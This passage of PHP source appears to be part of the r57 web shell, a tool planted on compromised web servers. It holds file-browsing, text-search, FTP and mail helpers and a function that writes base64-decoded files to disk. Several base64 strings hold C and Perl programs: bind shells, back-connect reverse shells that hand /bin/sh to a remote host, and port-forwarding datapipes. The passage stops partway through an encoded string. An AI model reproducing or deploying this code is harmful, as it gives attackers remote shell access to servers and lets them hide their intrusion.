807echo "<table width=100% cellpadding=0 cellspacing=0><tr><td bgcolor=#252525><font color=red face=tahoma size=-2><div align=center><b>".$text.$i."</b></div></font></td></tr></table>";
808return null;
809}
810function re($i)
811{
812if($GLOBALS['language']=="ru"){ $text = '??????! ?? ???? ????????? ???? '; }
813else { $text = "[-] ERROR! Can't read file "; }
814echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#252525><font color=red face=tahoma size=-2><div align=center><b>".$text.$i."</b></div></font></td></tr></table>";
815return null;
816}
817function ce($i)
818{
819if($GLOBALS['language']=="ru"){ $text = "?? ??????? ??????? "; }
820else { $text = "Can't create "; }
821echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#252525><font color=red face=tahoma size=-2><div align=center><b>".$text.$i."</b></div></font></td></tr></table>";
822return null;
823}
824function fe($l,$n)
825{
826$text['ru'] = array('?? ??????? ???????????? ? ftp ???????','?????? ??????????? ?? ftp ???????','?? ??????? ???????? ?????????? ?? ftp ???????');
827$text['eng'] = array('Connect to ftp server failed','Login to ftp server failed','Can\'t change dir on ftp server');
828echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#252525><font color=red face=tahoma size=-2><div align=center><b>".$text[$l][$n]."</b></div></font></td></tr></table>";
829return null;
830}
831function mr($l,$n)
832{
833$text['ru'] = array('?? ??????? ????????? ??????','?????? ??????????');
834$text['eng'] = array('Can\'t send mail','Mail sent');
835echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#252525><font color=red face=tahoma size=-2><div align=center><b>".$text[$l][$n]."</b></div></font></td></tr></table>";
836return null;
837}
838function perms($mode)
839{
840if ($GLOBALS['windows']) return 0;
841if( $mode & 0x1000 ) { $type='p'; }
842else if( $mode & 0x2000 ) { $type='c'; }
843else if( $mode & 0x4000 ) { $type='d'; }
844else if( $mode & 0x6000 ) { $type='b'; }
845else if( $mode & 0x8000 ) { $type='-'; }
846else if( $mode & 0xA000 ) { $type='l'; }
847else if( $mode & 0xC000 ) { $type='s'; }
848else $type='u';
849$owner["read"] = ($mode & 00400) ? 'r' : '-';
850$owner["write"] = ($mode & 00200) ? 'w' : '-';
851$owner["execute"] = ($mode & 00100) ? 'x' : '-';
852$group["read"] = ($mode & 00040) ? 'r' : '-';
853$group["write"] = ($mode & 00020) ? 'w' : '-';
854$group["execute"] = ($mode & 00010) ? 'x' : '-';
855$world["read"] = ($mode & 00004) ? 'r' : '-';
856$world["write"] = ($mode & 00002) ? 'w' : '-';
857$world["execute"] = ($mode & 00001) ? 'x' : '-';
858if( $mode & 0x800 ) $owner["execute"] = ($owner['execute']=='x') ? 's' : 'S';
859if( $mode & 0x400 ) $group["execute"] = ($group['execute']=='x') ? 's' : 'S';
860if( $mode & 0x200 ) $world["execute"] = ($world['execute']=='x') ? 't' : 'T';
861$s=sprintf("%1s", $type);
862$s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']);
863$s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']);
864$s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']);
865return trim($s);
866}
867function in($type,$name,$size,$value)
868{
869 $ret = "<input type=".$type." name=".$name." ";
870 if($size != 0) { $ret .= "size=".$size." "; }
871 $ret .= "value=\"".$value."\">";
872 return $ret;
873}
874function which($pr)
875{
876$path = ex("which $pr");
877if(!empty($path)) { return $path; } else { return $pr; }
878}
879function cf($fname,$text)
880{
881 $w_file=@fopen($fname,"w") or we($fname);
882 if($w_file)
883 {
884 @fputs($w_file,@base64_decode($text));
885 @fclose($w_file);
886 }
887}
888function sr($l,$t1,$t2)
889 {
890 return "<tr class=tr1><td class=td1 width=".$l."% align=right>".$t1."</td><td class=td1 align=left>".$t2."</td></tr>";
891 }
892if (!@function_exists("view_size"))
893{
894function view_size($size)
895{
896 if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";}
897 elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";}
898 elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";}
899 else {$size = $size . " B";}
900 return $size;
901}
902}
903function DirFiles($dir,$types='')
904 {
905 $files = Array();
906 if(($handle = @opendir($dir)))
907 {
908 while (FALSE !== ($file = @readdir($handle)))
909 {
910 if ($file != "." && $file != "..")
911 {
912 if(!is_dir($dir."/".$file))
913 {
914 if($types)
915 {
916 $pos = @strrpos($file,".");
917 $ext = @substr($file,$pos,@strlen($file)-$pos);
918 if(@in_array($ext,@explode(';',$types)))
919 $files[] = $dir."/".$file;
920 }
921 else
922 $files[] = $dir."/".$file;
923 }
924 }
925 }
926 @closedir($handle);
927 }
928 return $files;
929 }
930 function DirFilesWide($dir)
931 {
932 $files = Array();
933 $dirs = Array();
934 if(($handle = @opendir($dir)))
935 {
936 while (false !== ($file = @readdir($handle)))
937 {
938 if ($file != "." && $file != "..")
939 {
940 if(@is_dir($dir."/".$file))
941 {
942 $file = @strtoupper($file);
943 $dirs[$file] = '<DIR>';
944 }
945 else
946 $files[$file] = @filesize($dir."/".$file);
947 }
948 }
949 @closedir($handle);
950 @ksort($dirs);
951 @ksort($files);
952 $files = @array_merge($dirs,$files);
953 }
954 return $files;
955 }
956 function DirFilesR($dir,$types='')
957 {
958 $files = Array();
959 if(($handle = @opendir($dir)))
960 {
961 while (false !== ($file = @readdir($handle)))
962 {
963 if ($file != "." && $file != "..")
964 {
965 if(@is_dir($dir."/".$file))
966 $files = @array_merge($files,DirFilesR($dir."/".$file,$types));
967 else
968 {
969 $pos = @strrpos($file,".");
970 $ext = @substr($file,$pos,@strlen($file)-$pos);
971 if($types)
972 {
973 if(@in_array($ext,explode(';',$types)))
974 $files[] = $dir."/".$file;
975 }
976 else
977 $files[] = $dir."/".$file;
978 }
979 }
980 }
981 @closedir($handle);
982 }
983 return $files;
984 }
985 function DirPrintHTMLHeaders($dir)
986 {
987 $pockets = '';
988 $handle = @opendir($dir) or die("Can't open directory $dir");
989 echo " <ul style='margin-left: 0px; padding-left: 20px;'>\n";
990 while (false !== ($file = @readdir($handle)))
991 {
992 if ($file != "." && $file != "..")
993 {
994 if(@is_dir($dir."/".$file))
995 {
996 echo " <li><b>[ $file ]</b></li>\n";
997 DirPrintHTMLHeaders($dir."/".$file);
998 }
999 else
1000 {
1001 $pos = @strrpos($file,".");
1002 $ext = @substr($file,$pos,@strlen($file)-$pos);
1003 if(@in_array($ext,array('.htm','.html')))
1004 {
1005 $header = '-=None=-';
1006 $strings = @file($dir."/".$file) or die("Can't open file ".$dir."/".$file);
1007 for($a=0;$a<count($strings);$a++)
1008 {
1009 $pattern = '(<title>(.+)</title>)';
1010 if(@eregi($pattern,$strings[$a],$pockets))
1011 {
1012 $header = "«".$pockets[2]."»";
1013 break;
1014 }
1015 }
1016 echo " <li>".$header."</li>\n";
1017 }
1018 }
1019 }
1020 }
1021 echo " </ul>\n";
1022 @closedir($handle);
1023 }
1024
1025 class SearchResult
1026 {
1027 var $text;
1028 var $FilesToSearch;
1029 var $ResultFiles;
1030 var $FilesTotal;
1031 var $MatchesCount;
1032 var $FileMatschesCount;
1033 var $TimeStart;
1034 var $TimeTotal;
1035 var $titles;
1036 function SearchResult($dir,$text,$filter='')
1037 {
1038 $dirs = @explode(";",$dir);
1039 $this->FilesToSearch = Array();
1040 for($a=0;$a<count($dirs);$a++)
1041 $this->FilesToSearch = @array_merge($this->FilesToSearch,DirFilesR($dirs[$a],$filter));
1042 $this->text = $text;
1043 $this->FilesTotal = @count($this->FilesToSearch);
1044 $this->TimeStart = getmicrotime();
1045 $this->MatchesCount = 0;
1046 $this->ResultFiles = Array();
1047 $this->FileMatchesCount = Array();
1048 $this->titles = Array();
1049 }
1050 function GetFilesTotal() { return $this->FilesTotal; }
1051 function GetTitles() { return $this->titles; }
1052 function GetTimeTotal() { return $this->TimeTotal; }
1053 function GetMatchesCount() { return $this->MatchesCount; }
1054 function GetFileMatchesCount() { return $this->FileMatchesCount; }
1055 function GetResultFiles() { return $this->ResultFiles; }
1056 function SearchText($phrase=0,$case=0) {
1057 $qq = @explode(' ',$this->text);
1058 $delim = '|';
1059 if($phrase)
1060 foreach($qq as $k=>$v)
1061 $qq[$k] = '\b'.$v.'\b';
1062 $words = '('.@implode($delim,$qq).')';
1063 $pattern = "/".$words."/";
1064 if(!$case)
1065 $pattern .= 'i';
1066 foreach($this->FilesToSearch as $k=>$filename)
1067 {
1068 $this->FileMatchesCount[$filename] = 0;
1069 $FileStrings = @file($filename) or @next;
1070 for($a=0;$a<@count($FileStrings);$a++)
1071 {
1072 $count = 0;
1073 $CurString = $FileStrings[$a];
1074 $CurString = @Trim($CurString);
1075 $CurString = @strip_tags($CurString);
1076 $aa = '';
1077 if(($count = @preg_match_all($pattern,$CurString,$aa)))
1078 {
1079 $CurString = @preg_replace($pattern,"<SPAN style='color: #990000;'><b>\\1</b></SPAN>",$CurString);
1080 $this->ResultFiles[$filename][$a+1] = $CurString;
1081 $this->MatchesCount += $count;
1082 $this->FileMatchesCount[$filename] += $count;
1083 }
1084 }
1085 }
1086 $this->TimeTotal = @round(getmicrotime() - $this->TimeStart,4);
1087 }
1088 }
1089 function getmicrotime()
1090 {
1091 list($usec,$sec) = @explode(" ",@microtime());
1092 return ((float)$usec + (float)$sec);
1093 }
1094$port_bind_bd_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZS
1095A8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50I
1096GFyZ2M7DQpjaGFyICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIGNoYXIgYnVmWzMwXTsNCiBzdHJ1Y3Qgc29ja2FkZHJfaW4gcmVt
1097b3RlOw0KIGlmKGZvcmsoKSA9PSAwKSB7IA0KIHJlbW90ZS5zaW5fZmFtaWx5ID0gQUZfSU5FVDsNCiByZW1vdGUuc2luX3BvcnQgPSBodG9ucyhhdG9
1098pKGFyZ3ZbMV0pKTsNCiByZW1vdGUuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7IA0KIHNvY2tmZCA9IHNvY2tldChBRl9JTkVULF
1099NPQ0tfU1RSRUFNLDApOw0KIGlmKCFzb2NrZmQpIHBlcnJvcigic29ja2V0IGVycm9yIik7DQogYmluZChzb2NrZmQsIChzdHJ1Y3Qgc29ja2FkZHIgK
1100ikmcmVtb3RlLCAweDEwKTsNCiBsaXN0ZW4oc29ja2ZkLCA1KTsNCiB3aGlsZSgxKQ0KICB7DQogICBuZXdmZD1hY2NlcHQoc29ja2ZkLDAsMCk7DQog
1101ICBkdXAyKG5ld2ZkLDApOw0KICAgZHVwMihuZXdmZCwxKTsNCiAgIGR1cDIobmV3ZmQsMik7DQogICB3cml0ZShuZXdmZCwiUGFzc3dvcmQ6IiwxMCk
11027DQogICByZWFkKG5ld2ZkLGJ1ZixzaXplb2YoYnVmKSk7DQogICBpZiAoIWNocGFzcyhhcmd2WzJdLGJ1ZikpDQogICBzeXN0ZW0oImVjaG8gd2VsY2
11039tZSB0byByNTcgc2hlbGwgJiYgL2Jpbi9iYXNoIC1pIik7DQogICBlbHNlDQogICBmcHJpbnRmKHN0ZGVyciwiU29ycnkiKTsNCiAgIGNsb3NlKG5ld
11042ZkKTsNCiAgfQ0KIH0NCn0NCmludCBjaHBhc3MoY2hhciAqYmFzZSwgY2hhciAqZW50ZXJlZCkgew0KaW50IGk7DQpmb3IoaT0wO2k8c3RybGVuKGVu
1105dGVyZWQpO2krKykgDQp7DQppZihlbnRlcmVkW2ldID09ICdcbicpDQplbnRlcmVkW2ldID0gJ1wwJzsgDQppZihlbnRlcmVkW2ldID09ICdccicpDQp
1106lbnRlcmVkW2ldID0gJ1wwJzsNCn0NCmlmICghc3RyY21wKGJhc2UsZW50ZXJlZCkpDQpyZXR1cm4gMDsNCn0=";
1107$port_bind_bd_pl="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vYmFzaCAtaSI7DQppZiAoQEFSR1YgPCAxKSB7IGV4aXQoMSk7IH0NCiRMS
1108VNURU5fUE9SVD0kQVJHVlswXTsNCnVzZSBTb2NrZXQ7DQokcHJvdG9jb2w9Z2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0Kc29ja2V0KFMsJlBGX0lORVQs
1109JlNPQ0tfU1RSRUFNLCRwcm90b2NvbCkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVV
1110TRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJExJU1RFTl9QT1JULElOQUREUl9BTlkpKSB8fCBkaWUgIkNhbnQgb3BlbiBwb3J0XG4iOw0KbG
1111lzdGVuKFMsMykgfHwgZGllICJDYW50IGxpc3RlbiBwb3J0XG4iOw0Kd2hpbGUoMSkNCnsNCmFjY2VwdChDT05OLFMpOw0KaWYoISgkcGlkPWZvcmspK
1112Q0Kew0KZGllICJDYW5ub3QgZm9yayIgaWYgKCFkZWZpbmVkICRwaWQpOw0Kb3BlbiBTVERJTiwiPCZDT05OIjsNCm9wZW4gU1RET1VULCI+JkNPTk4i
1113Ow0Kb3BlbiBTVERFUlIsIj4mQ09OTiI7DQpleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCmNsb3N
1114lIENPTk47DQpleGl0IDA7DQp9DQp9";
1115$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj
1116aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR
1117hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT
1118sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI
1119kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi
1120KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl
1121OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
1122$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC
1123BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb
1124SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd
1125KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ
1126sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC
1127Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D
1128QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp
1129Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
1130$datapipe_c="I2luY2x1ZGUgPHN5cy90eXBlcy5oPg0KI2luY2x1ZGUgPHN5cy9zb2NrZXQuaD4NCiNpbmNsdWRlIDxzeXMvd2FpdC5oPg0KI2luY2
1131x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxzdGRpby5oPg0KI2luY2x1ZGUgPHN0ZGxpYi5oPg0KI2luY2x1ZGUgPGVycm5vLmg+DQojaW5jb
1132HVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxsaW51eC90aW1lLmg+DQojaWZkZWYgU1RSRVJST1INCmV4dGVybiBj
1133aGFyICpzeXNfZXJybGlzdFtdOw0KZXh0ZXJuIGludCBzeXNfbmVycjsNCmNoYXIgKnVuZGVmID0gIlVuZGVmaW5lZCBlcnJvciI7DQpjaGFyICpzdHJ
1134lcnJvcihlcnJvcikgIA0KaW50IGVycm9yOyAgDQp7IA0KaWYgKGVycm9yID4gc3lzX25lcnIpDQpyZXR1cm4gdW5kZWY7DQpyZXR1cm4gc3lzX2Vycm
1135xpc3RbZXJyb3JdOw0KfQ0KI2VuZGlmDQoNCm1haW4oYXJnYywgYXJndikgIA0KICBpbnQgYXJnYzsgIA0KICBjaGFyICoqYXJndjsgIA0KeyANCiAga
1136W50IGxzb2NrLCBjc29jaywgb3NvY2s7DQogIEZJTEUgKmNmaWxlOw0KICBjaGFyIGJ1Zls0MDk2XTsNCiAgc3RydWN0IHNvY2thZGRyX2luIGxhZGRy
1137LCBjYWRkciwgb2FkZHI7DQogIGludCBjYWRkcmxlbiA9IHNpemVvZihjYWRkcik7DQogIGZkX3NldCBmZHNyLCBmZHNlOw0KICBzdHJ1Y3QgaG9zdGV
1138udCAqaDsNCiAgc3RydWN0IHNlcnZlbnQgKnM7DQogIGludCBuYnl0Ow0KICB1bnNpZ25lZCBsb25nIGE7DQogIHVuc2lnbmVkIHNob3J0IG9wb3J0Ow
11390KDQogIGlmIChhcmdjICE9IDQpIHsNCiAgICBmcHJpbnRmKHN0ZGVyciwiVXNhZ2U6ICVzIGxvY2FscG9ydCByZW1vdGVwb3J0IHJlbW90ZWhvc3Rcb
1140iIsYXJndlswXSk7DQogICAgcmV0dXJuIDMwOw0KICB9DQogIGEgPSBpbmV0X2FkZHIoYXJndlszXSk7DQogIGlmICghKGggPSBnZXRob3N0YnluYW1l
1141KGFyZ3ZbM10pKSAmJg0KICAgICAgIShoID0gZ2V0aG9zdGJ5YWRkcigmYSwgNCwgQUZfSU5FVCkpKSB7DQogICAgcGVycm9yKGFyZ3ZbM10pOw0KICA
1142gIHJldHVybiAyNTsNCiAgfQ0KICBvcG9ydCA9IGF0b2woYXJndlsyXSk7DQogIGxhZGRyLnNpbl9wb3J0ID0gaHRvbnMoKHVuc2lnbmVkIHNob3J0KS
1143hhdG9sKGFyZ3ZbMV0pKSk7DQogIGlmICgobHNvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNC
1144iAgICBwZXJyb3IoInNvY2tldCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBsYWRkci5zaW5fZmFtaWx5ID0gaHRvbnMoQUZfSU5FVCk7DQogIGxh
1145ZGRyLnNpbl9hZGRyLnNfYWRkciA9IGh0b25sKDApOw0KICBpZiAoYmluZChsc29jaywgJmxhZGRyLCBzaXplb2YobGFkZHIpKSkgew0KICAgIHBlcnJ
1146vcigiYmluZCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBpZiAobGlzdGVuKGxzb2NrLCAxKSkgew0KICAgIHBlcnJvcigibGlzdGVuIik7DQogIC
1147AgcmV0dXJuIDIwOw0KICB9DQogIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0gLTEpIHsNCiAgICBwZXJyb3IoImZvcmsiKTsNCiAgICByZXR1cm4gMjA7D
1148QogIH0NCiAgaWYgKG5ieXQgPiAwKQ0KICAgIHJldHVybiAwOw0KICBzZXRzaWQoKTsNCiAgd2hpbGUgKChjc29jayA9IGFjY2VwdChsc29jaywgJmNh
1149ZGRyLCAmY2FkZHJsZW4pKSAhPSAtMSkgew0KICAgIGNmaWxlID0gZmRvcGVuKGNzb2NrLCJyKyIpOw0KICAgIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0
1150gLTEpIHsNCiAgICAgIGZwcmludGYoY2ZpbGUsICI1MDAgZm9yazogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgICBzaHV0ZG93bihjc29jay
1151wyKTsNCiAgICAgIGZjbG9zZShjZmlsZSk7DQogICAgICBjb250aW51ZTsNCiAgICB9DQogICAgaWYgKG5ieXQgPT0gMCkNCiAgICAgIGdvdG8gZ290c
115229jazsNCiAgICBmY2xvc2UoY2ZpbGUpOw0KICAgIHdoaWxlICh3YWl0cGlkKC0xLCBOVUxMLCBXTk9IQU5HKSA+IDApOw0KICB9DQogIHJldHVybiAy
1153MDsNCg0KIGdvdHNvY2s6DQogIGlmICgob3NvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNCiA
1154gICBmcHJpbnRmKGNmaWxlLCAiNTAwIHNvY2tldDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICBvYWRkci
11555zaW5fZmFtaWx5ID0gaC0+aF9hZGRydHlwZTsNCiAgb2FkZHIuc2luX3BvcnQgPSBodG9ucyhvcG9ydCk7DQogIG1lbWNweSgmb2FkZHIuc2luX2FkZ
1156HIsIGgtPmhfYWRkciwgaC0+aF9sZW5ndGgpOw0KICBpZiAoY29ubmVjdChvc29jaywgJm9hZGRyLCBzaXplb2Yob2FkZHIpKSkgew0KICAgIGZwcmlu
1157dGYoY2ZpbGUsICI1MDAgY29ubmVjdDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICB3aGlsZSAoMSkgew0
1158KICAgIEZEX1pFUk8oJmZkc3IpOw0KICAgIEZEX1pFUk8oJmZkc2UpOw0KICAgIEZEX1NFVChjc29jaywmZmRzcik7DQogICAgRkRfU0VUKGNzb2NrLC
1159ZmZHNlKTsNCiAgICBGRF9TRVQob3NvY2ssJmZkc3IpOw0KICAgIEZEX1NFVChvc29jaywmZmRzZSk7DQogICAgaWYgKHNlbGVjdCgyMCwgJmZkc3IsI
1160E5VTEwsICZmZHNlLCBOVUxMKSA9PSAtMSkgew0KICAgICAgZnByaW50ZihjZmlsZSwgIjUwMCBzZWxlY3Q6ICVzXG4iLCBzdHJlcnJvcihlcnJubykp
1161Ow0KICAgICAgZ290byBxdWl0MjsNCiAgICB9DQogICAgaWYgKEZEX0lTU0VUKGNzb2NrLCZmZHNyKSB8fCBGRF9JU1NFVChjc29jaywmZmRzZSkpIHs
1162NCiAgICAgIGlmICgobmJ5dCA9IHJlYWQoY3NvY2ssYnVmLDQwOTYpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgICBpZiAoKHdyaXRlKG9zb2NrLG
1163J1ZixuYnl0KSkgPD0gMCkNCglnb3RvIHF1aXQyOw0KICAgIH0gZWxzZSBpZiAoRkRfSVNTRVQob3NvY2ssJmZkc3IpIHx8IEZEX0lTU0VUKG9zb2NrL
1164CZmZHNlKSkgew0KICAgICAgaWYgKChuYnl0ID0gcmVhZChvc29jayxidWYsNDA5NikpIDw9IDApDQoJZ290byBxdWl0MjsNCiAgICAgIGlmICgod3Jp
1165dGUoY3NvY2ssYnVmLG5ieXQpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgfQ0KICB9DQoNCiBxdWl0MjoNCiAgc2h1dGRvd24ob3NvY2ssMik7DQo
1166gIGNsb3NlKG9zb2NrKTsNCiBxdWl0MToNCiAgZmZsdXNoKGNmaWxlKTsNCiAgc2h1dGRvd24oY3NvY2ssMik7DQogcXVpdDA6DQogIGZjbG9zZShjZm
1167lsZSk7DQogIHJldHVybiAwOw0KfQ==";
1168$shellvic="aENlR3JPdVA=";
1169$datapipe_pl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgSU86OlNvY2tldDsNCnVzZSBQT1NJWDsNCiRsb2NhbHBvcnQgPSAkQVJHVlswXTsNCiRob3N0I
1170CAgICAgPSAkQVJHVlsxXTsNCiRwb3J0ICAgICAgPSAkQVJHVlsyXTsNCiRkYWVtb249MTsNCiRESVIgPSB1bmRlZjsNCiR8ID0gMTsNCmlmICgkZGFl
1171bW9uKXsgJHBpZCA9IGZvcms7IGV4aXQgaWYgJHBpZDsgZGllICIkISIgdW5sZXNzIGRlZmluZWQoJHBpZCk7IFBPU0lYOjpzZXRzaWQoKSBvciBkaWU
1172gIiQhIjsgfQ0KJW8gPSAoJ3BvcnQnID0+ICRsb2NhbHBvcnQsJ3RvcG9ydCcgPT4gJHBvcnQsJ3RvaG9zdCcgPT4gJGhvc3QpOw0KJGFoID0gSU86Ol
1173NvY2tldDo6SU5FVC0+bmV3KCdMb2NhbFBvcnQnID0+ICRsb2NhbHBvcnQsJ1JldXNlJyA9PiAxLCdMaXN0ZW4nID0+IDEwKSB8fCBkaWUgIiQhIjsNC
1174iRTSUd7J0NITEQnfSA9ICdJR05PUkUnOw0KJG51bSA9IDA7DQp3aGlsZSAoMSkgeyANCiRjaCA9ICRhaC0+YWNjZXB0KCk7IGlmICghJGNoKSB7IHBy
1175aW50IFNUREVSUiAiJCFcbiI7IG5leHQ7IH0NCisrJG51bTsNCiRwaWQgPSBmb3JrKCk7DQppZiAoIWRlZmluZWQoJHBpZCkpIHsgcHJpbnQgU1RERVJ
1176SICIkIVxuIjsgfSANCmVsc2lmICgkcGlkID09IDApIHsgJGFoLT5jbG9zZSgpOyBSdW4oXCVvLCAkY2gsICRudW0pOyB9IA0KZWxzZSB7ICRjaC0+Y2
1177xvc2UoKTsgfQ0KfQ0Kc3ViIFJ1biB7DQpteSgkbywgJGNoLCAkbnVtKSA9IEBfOw0KbXkgJHRoID0gSU86OlNvY2tldDo6SU5FVC0+bmV3KCdQZWVyQ
1178WRkcicgPT4gJG8tPnsndG9ob3N0J30sJ1BlZXJQb3J0JyA9PiAkby0+eyd0b3BvcnQnfSk7DQppZiAoISR0aCkgeyBleGl0IDA7IH0NCm15ICRmaDsN
1179CmlmICgkby0+eydkaXInfSkgeyAkZmggPSBTeW1ib2w6OmdlbnN5bSgpOyBvcGVuKCRmaCwgIj4kby0+eydkaXInfS90dW5uZWwkbnVtLmxvZyIpIG9
1180yIGRpZSAiJCEiOyB9DQokY2gtPmF1dG9mbHVzaCgpOw0KJHRoLT5hdXRvZmx1c2goKTsNCndoaWxlICgkY2ggfHwgJHRoKSB7DQpteSAkcmluID0gIi
1181I7DQp2ZWMoJHJpbiwgZmlsZW5vKCRjaCksIDEpID0gMSBpZiAkY2g7DQp2ZWMoJHJpbiwgZmlsZW5vKCR0aCksIDEpID0gMSBpZiAkdGg7DQpteSgkc
1182m91dCwgJGVvdXQpOw0Kc2VsZWN0KCRyb3V0ID0gJHJpbiwgdW5kZWYsICRlb3V0ID0gJHJpbiwgMTIwKTsNCmlmICghJHJvdXQgICYmICAhJGVvdXQp
1183IHt9DQpteSAkY2J1ZmZlciA9ICIiOw0KbXkgJHRidWZmZXIgPSAiIjsNCmlmICgkY2ggJiYgKHZlYygkZW91dCwgZmlsZW5vKCRjaCksIDEpIHx8IHZ
1184lYygkcm91dCwgZmlsZW5vKCRjaCksIDEpKSkgew0KbXkgJHJlc3VsdCA9IHN5c3JlYWQoJGNoLCAkdGJ1ZmZlciwgMTAyNCk7DQppZiAoIWRlZmluZW
1185QoJHJlc3VsdCkpIHsNCnByaW50IFNUREVSUiAiJCFcbiI7DQpleGl0IDA7DQp9DQppZiAoJHJlc3VsdCA9PSAwKSB7IGV4aXQgMDsgfQ0KfQ0KaWYgK
1186CR0aCAgJiYgICh2ZWMoJGVvdXQsIGZpbGVubygkdGgpLCAxKSAgfHwgdmVjKCRyb3V0LCBmaWxlbm8oJHRoKSwgMSkpKSB7DQpteSAkcmVzdWx0ID0g
1187c3lzcmVhZCgkdGgsICRjYnVmZmVyLCAxMDI0KTsNCmlmICghZGVmaW5lZCgkcmVzdWx0KSkgeyBwcmludCBTVERFUlIgIiQhXG4iOyBleGl0IDA7IH0
1188NCmlmICgkcmVzdWx0ID09IDApIHtleGl0IDA7fQ0KfQ0KaWYgKCRmaCAgJiYgICR0YnVmZmVyKSB7KHByaW50ICRmaCAkdGJ1ZmZlcik7fQ0Kd2hpbG
